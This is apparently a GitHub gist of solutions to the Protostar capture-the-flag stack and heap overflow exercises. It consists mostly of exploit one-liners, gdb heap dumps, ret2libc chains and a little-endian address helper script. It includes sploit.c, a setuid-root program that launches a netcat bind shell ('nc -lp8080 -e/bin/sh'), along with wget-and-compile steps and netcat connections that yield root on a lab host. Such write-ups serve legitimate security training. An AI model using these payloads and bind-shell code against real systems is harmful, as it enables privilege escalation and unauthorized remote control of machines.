Skip to content

Instantly share code, notes, and snippets.

@tristanwietsma
Last active August 17, 2017 11:18
Show Gist options
  • Save tristanwietsma/6689124 to your computer and use it in GitHub Desktop.
Save tristanwietsma/6689124 to your computer and use it in GitHub Desktop.
Protostar CTF Stack & Heap Overflow Solutions
objdump -d /opt/protostar/bin/heap0 | grep winner
# 08048464 <winner>:
# 08048478 <nowinner>:
/opt/protostar/bin/heap0 `perl -e 'print "A"x72 . "\x64\x84\x04\x08"'`
# tl;dr: overwrite the failure message (puts called by printf) with the winner function
###################
# first, break it #
###################
user@protostar:~$ /opt/protostar/bin/heap1 12345678901234567890 A
and that's a wrap folks!
user@protostar:~$ /opt/protostar/bin/heap1 123456789012345678901 A
Segmentation fault
(we have an offset of 20 for the first arg)
####################
# Where is winner? #
####################
user@protostar:~$ objdump -d /opt/protostar/bin/heap1 | grep winner
08048494 <winner>:
#####################
# Where is the puts #
#####################
objdump -R /opt/protostar/bin/heap1
/opt/protostar/bin/heap1: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804974c R_386_GLOB_DAT __gmon_start__
0804975c R_386_JUMP_SLOT __gmon_start__
08049760 R_386_JUMP_SLOT __libc_start_main
08049764 R_386_JUMP_SLOT strcpy
08049768 R_386_JUMP_SLOT printf
0804976c R_386_JUMP_SLOT time
08049770 R_386_JUMP_SLOT malloc
08049774 R_386_JUMP_SLOT puts <-- here it is
###############
# like a boss #
###############
/opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08 \x94\x84\x04\x08'"`
and we have a winner @ 1380125365
First, let's examine functions:
(1) auth <name> := sets auth->name
(2) reset: frees auth
(3) service <name> := sets service char array to name
(4) login := checks if auth->auth is "not false" (ints make bad bools...)
###########################################
auth structure and service are next to each other.
###########################################
Here is the error:
auth = malloc(sizeof(auth));
should be...
auth = malloc(sizeof(struct auth));
###########################################
$ gdb /opt/protostar/bin/heap2
...
(gdb) break main
(gdb) run
...
auth AAAA
...
(gdb) continue
...
[ auth = 0x804c008, service = (nil) ]
auth CCCC
(gdb) x/20x 0x804c008
0x804c008: 0x41414141 0x0000000a 0x00000000 0x00000011
0x804c018: 0x43434343 0x0000000a 0x00000000 0x00000fe1
0x804c028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) continue
...
service BBBB
...
(gdb) x/20x 0x804c008
0x804c008: 0x41414141 0x0000000a 0x00000000 0x00000011
0x804c018: 0x43434343 0x0000000a 0x00000000 0x00000011
0x804c028: 0x42424220 0x00000a42 0x00000000 0x00000fd1
0x804c038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c048: 0x00000000 0x00000000 0x00000000 0x00000000
###########################################################
# so, we see that each auth malloc is allocating 16 bytes #
###########################################################
the 'auth integer' has a 32 byte offset from the address returned by malloc
during the 'auth command'. you can see the 'service' malloc puts data within
that span, so we can corrupt the 'auth integer'.
Strategy: enter any auth name and overflow the service name into the auth integer space.
############
# Solution #
############
user@protostar:~$ /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
auth name
[ auth = 0x804c008, service = (nil) ]
service 01234567890123456789
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]
(done)
#####################
# address of winner #
#####################
objdump -d /opt/protostar/bin/heap3 | grep winner
08048864 <winner>:
###################
# address of puts #
###################
objdump -R /opt/protostar/bin/heap3 | grep puts
0804b128 R_386_JUMP_SLOT puts
##########################
# preliminary testing... #
##########################
gdb /opt/protostar/bin/heap3
...
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
###################################################
# initial state after the three malloc statements #
###################################################
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000 a->0x804c008
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000 b->0x804c030
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000 c->0x804c058
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
#################
# strcpy AAA... #
#################
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
#################
# strcpy BBB... #
#################
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
#################
# strcpy CCC... #
#################
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
###########
# free(c) #
###########
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343 <-- zero block
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
###########
# free(b) #
###########
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x41414141
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242 <-- 0x0804c050
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
###########
# free(a) #
###########
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x41414141 <-- 0x0804c028
0x804c010: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x0804c050 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x00000000 0x00000029 0x00000000 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x00000000 0x00000f89
###################
# Now, the sploit #
###################
gdb /opt/protostar/bin/heap3
...
run $(python -c 'print "A"*4 + "\x68\x64\x88\x04\x08" + "\xc3" + "A"*22') $(python -c 'print "A"*32 + "\xf0\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "A"*8+"\xf1\xff\xff\xff"*2+"\x1c\xb1\x04\x08"+"\x0c\xc0\x04\x08"+"A"*8')
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x04886468 ... we've plugged in the shellcode
0x804c010: 0x4141c308 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c050: 0x00000000 0x00000029 0x00000000 0x00000000
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x04886468
0x804c010: 0x4141c308 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c050: 0xfffffff0 0xfffffffc 0x00000000 0x00000000 ... we've overflowed the c headers
0x804c060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c070: 0x00000000 0x00000000 0x00000000 0x00000f89
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x04886468
0x804c010: 0x4141c308 0x41414141 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c050: 0xfffffff0 0xfffffffc 0x41414141 0x41414141
0x804c060: 0xfffffff1 0xfffffff1 0x0804b11c 0x0804c00c .... 0x0804b11c is the GOT address of puts - 12 and 0x0804c00c is the location of the shellcode
0x804c070: 0x41414141 0x41414141 0x00000000 0x00000f89
#############################
# now we start unlinking... #
#############################
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x04886468
0x804c010: 0x4141c308 0x0804b11c 0x41414141 0x41414141 ... GOT address of puts - 12 got moved way back
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0xffffffec
0x804c050: 0xfffffff0 0xfffffffc 0x41414141 0x41414141
0x804c060: 0xfffffff1 0xffffffed 0x0804b194 0x0804b194
0x804c070: 0x41414141 0x41414141 0x00000000 0x00000f89
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x41414141 0x04886468
0x804c010: 0x4141c308 0x0804b11c 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x00000000 0x41414141 0x41414141 0x41414141 ... zeroed
0x804c040: 0x41414141 0x41414141 0x41414141 0xffffffec
0x804c050: 0xfffffff0 0xfffffffc 0x41414141 0x41414141
0x804c060: 0xfffffff1 0xffffffed 0x0804b194 0x0804b194
0x804c070: 0x41414141 0x41414141 0x00000000 0x00000f89
(gdb) x/40x 0x804c000
0x804c000: 0x00000000 0x00000029 0x0804c028 0x04886468 ... next free block
0x804c010: 0x4141c308 0x0804b11c 0x41414141 0x41414141
0x804c020: 0x41414141 0x41414141 0x00000000 0x00000029
0x804c030: 0x00000000 0x41414141 0x41414141 0x41414141
0x804c040: 0x41414141 0x41414141 0x41414141 0xffffffec
0x804c050: 0xfffffff0 0xfffffffc 0x41414141 0x41414141
0x804c060: 0xfffffff1 0xffffffed 0x0804b194 0x0804b194
0x804c070: 0x41414141 0x41414141 0x00000000 0x00000f89
#include <stdlib.h>
int main(int argc, char **argv, char **envp) {
setuid(0); // These two are necessary, as system() drops privileges
setgid(0);
char *args[] = { "nc", "-lp8080", "-e/bin/sh", (char *) 0 };
execve("/bin/nc", args, envp);
}
python -c "print 'A'*65" | ./stack0
./stack1 `python -c "print 'A'*64 + 'dcba'"`
GREENIE=`python -c "print 'A'*64 + '\n\r\n\r'"`
stack2
objdump -d /opt/protostar/bin/stack3 | grep win
# output: 08048424
python -c "print 'A'*64 + '\x24\x84\x04\x08'" | stack3
objdump -d /opt/protostar/bin/stack4 | grep win
# output: 080483f4
# need to figure out distance from buffer start to eip register
# (we'll just try from 65 up... could use gdb)
range=`seq 65 77`
for r in $range; do
x=`python -c "print 'A'*$r + '\xf4\x83\x04\x08'"`
echo $r
echo $x | stack4
done
# 76 yields "code flow successfully changed"... woot.
# find the distance from the buffer start to the eip
# (how many A's till segmentation fault?)
perl -e 'print "A"x76' | /opt/protostar/bin/stack5
# we get our first seg fault @ 76
# next, load an egg into the environment variable
# in this case, we'll create a directory called "hacked" in the pwd
wget https://gist.github.com/tristanwietsma/6694509/raw/9c007c208a6f51b2f98fe67845452ec51c74505c/egg.c
gcc -o egg egg.c
./egg
# get address of the variable
wget https://gist.github.com/tristanwietsma/6691855/raw/f788115048790aef6ef331e141aab1f9266c1bca/envaddr.c
gcc -o envaddr envaddr.c
./envaddr EGG
# output: EGG is at address 0xbffff98a
# overwrite the eip with the EGG address
perl -e 'print "A"x76 . "\x8a\xf9\xff\xbf"' | /opt/protostar/bin/stack5 ; ls
# output: egg egg.c envaddr envaddr.c hacked
# and we're done.
# return address is protected in this example:
# ret = __builtin_return_address(0); // A value of 0 yields the return address of the current function
# if((ret & 0xbf000000) == 0xbf000000) --> fugged
# strategy: ret2libc
# | junk buffer (length?) | address to system() | address to exit() | shellcode (we'll use netcat) |
##############################
# how many bytes to the end? #
##############################
# using metasploit...
# ./pattern_create.rb 200 --> pass the result to stack6 via gdb
# got seg fault at 0x37634136
# ./pattern_offset.rb 0x37634136 --> offset is 80
# junk buffer is length 80
######################
# Address of system? #
######################
# (gdb) print system
# $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
# 0xb7ecffb0
####################
# Address of exit? #
####################
# (gdb) print exit
# $2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
# 0xb7ec60c0
###########################
# the point of it all ... #
###########################
wget https://gist.github.com/tristanwietsma/6689124/raw/d57e97ba80d679590ff17143e96c7f97c9a5ef79/sploit.c
gcc -o netcat sploit.c
export SPLOITED="//////////////////////////////////////////home/user/netcat"
wget https://gist.github.com/tristanwietsma/6691855/raw/f788115048790aef6ef331e141aab1f9266c1bca/envaddr.c
gcc envaddr.c -o envaddr
./envaddr SPLOITED
# SPLOITED is at address 0xbffffede
./try-address.sh 80 0xb7ecffb0 0xb7ec60c0 0xbffffede | /opt/protostar/bin/stack6
#---------------------------------------#
# log in from another shell and connect #
#---------------------------------------#
user@protostar:~$ nc -nv 192.168.182.131 8080
(UNKNOWN) [192.168.182.131] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root),1001(user)
(bingo)
#######################################################
# first, we break it to figure out where eip lives... #
#######################################################
./pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
# ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no user@192.168.182.131
# bash
# gdb /opt/protostar/bin/stack7
# run
# input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
# ...
# seg fault at 0x37634136
./pattern_offset 0x37634136
[*] Exact match at offset 80
wget https://gist.github.com/tristanwietsma/6689124/raw/d57e97ba80d679590ff17143e96c7f97c9a5ef79/sploit.c
gcc -o netcat sploit.c
export SPLOITED="//////////////////////////////////////////home/user/netcat"
wget https://gist.github.com/tristanwietsma/6691855/raw/f788115048790aef6ef331e141aab1f9266c1bca/envaddr.c
gcc envaddr.c -o envaddr
./envaddr SPLOITED
# SPLOITED is at address 0xbffffede
objdump -d /opt/protostar/bin/stack7 > tmp
cat tmp | grep ret
8048383: c3 ret
8048494: c3 ret
80484c2: c3 ret
8048544: c3 ret
8048553: c3 ret
8048564: c3 ret
80485c9: c3 ret
80485cd: c3 ret
80485f9: c3 ret
8048617: c3 ret
# laziness strategy: try return addresses until works...
./try-address.sh 80 0x08048483 0xbffffe8e | /opt/protostar/bin/stack7
Fail!
./try-address.sh 80 0x08048494 0xbffffe8e | /opt/protostar/bin/stack7
(keeps open)
# logging in via another shell...
user@protostar:~$ nc -nv 192.168.182.131 8080
(UNKNOWN) [192.168.182.131] 8080 (http-alt) open
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) <-- not root, like last time!
# http://makahack.blogspot.com/2012/10/exploit-exercises-protostar-stack-7.html (this guy did the same thing and got root... probably used more complete shellcode)
# we'll try again, but stick in system and exit calls...
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
./try-address.sh 80 0x08048494 0xb7ecffb0 0xb7ec60c0 0xbffffe8e | /opt/protostar/bin/stack7
nc -nv 192.168.182.131 8080
(UNKNOWN) [192.168.182.131] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root),1001(user)
(bingo)
#!/bin/bash
# Takes an offset and unlimited 4-byte addresses and prints it in little-endian order
if [[ $# -lt 2 ]]; then
echo "usage: $0 OFFSET ADDRESS. Example: $0 80 0xdeadbeef 0xf00f00f0"
exit 1
fi
perl -e "print 'A'x$1"
shift
for addr in $@; do
for i in $(seq 8 -2 2); do echo -ne "\x${addr:$i:2}"; done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment